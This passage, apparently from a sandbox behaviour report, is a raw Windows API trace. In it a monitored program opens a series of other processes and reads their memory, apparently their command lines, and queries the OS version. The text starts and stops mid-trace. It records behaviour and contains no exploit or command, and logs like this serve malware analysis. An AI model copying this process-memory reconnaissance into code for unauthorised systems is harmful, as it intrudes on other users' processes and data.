[0359.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.296] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.296] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.297] malloc (_Size=0x8a) returned 0xec78e0 [0359.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec78e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec78e0*, lpNumberOfBytesRead=0x0) returned 1 [0359.297] free (_Block=0xec78e0) [0359.298] CloseHandle (hObject=0xa9c) returned 1 [0359.298] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0359.298] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0359.298] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.298] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.299] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0359.299] GetLastError () returned 0x0 [0359.299] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.299] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.299] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.299] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.300] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.300] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.300] malloc (_Size=0x8a) returned 0xec7520 [0359.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7520, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7520*, lpNumberOfBytesRead=0x0) returned 1 [0359.301] free (_Block=0xec7520) [0359.301] CloseHandle (hObject=0xa9c) returned 1 [0359.301] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0359.302] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0359.302] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.302] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.303] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0359.303] GetLastError () returned 0x0 [0359.303] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.304] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.304] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.304] malloc (_Size=0x60) returned 0xeb62a0 [0359.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb62a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.305] free (_Block=0xeb62a0) [0359.305] CloseHandle (hObject=0xa9c) returned 1 [0359.305] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0359.305] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0359.306] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.306] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.306] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0359.306] GetLastError () returned 0x0 [0359.307] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.307] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.308] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.308] malloc (_Size=0x42) returned 0xea81a0 [0359.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea81a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea81a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.308] free (_Block=0xea81a0) [0359.309] CloseHandle (hObject=0xa9c) returned 1 [0359.309] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0359.309] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0359.309] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.309] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0359.310] GetLastError () returned 0x0 [0359.310] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.311] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.311] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.311] malloc (_Size=0x8a) returned 0xec6f80 [0359.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec6f80, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec6f80*, lpNumberOfBytesRead=0x0) returned 1 [0359.312] free (_Block=0xec6f80) [0359.312] CloseHandle (hObject=0xa9c) returned 1 [0359.312] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0359.312] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0359.313] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.313] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.313] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0359.313] GetLastError () returned 0x0 [0359.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.315] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.315] malloc (_Size=0x84) returned 0xe87c10 [0359.315] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87c10, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0359.316] free (_Block=0xe87c10) [0359.316] CloseHandle (hObject=0xa9c) returned 1 [0359.316] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0359.316] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0359.316] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.316] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.317] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0359.317] GetLastError () returned 0x0 [0359.317] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.319] malloc (_Size=0x18) returned 0xec9640 [0359.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9640, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9640*, lpNumberOfBytesRead=0x0) returned 1 [0359.319] free (_Block=0xec9640) [0359.319] CloseHandle (hObject=0xa9c) returned 1 [0359.354] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0359.354] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0359.354] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.354] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.355] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0359.355] GetLastError () returned 0x0 [0359.355] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.355] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.355] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.355] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.355] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.356] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.356] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.356] malloc (_Size=0x6a) returned 0xea8f20 [0359.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8f20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0359.357] free (_Block=0xea8f20) [0359.357] CloseHandle (hObject=0xa9c) returned 1 [0359.358] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0359.358] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0359.358] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.358] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.359] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0359.359] GetLastError () returned 0x0 [0359.359] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.359] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.359] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.359] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, 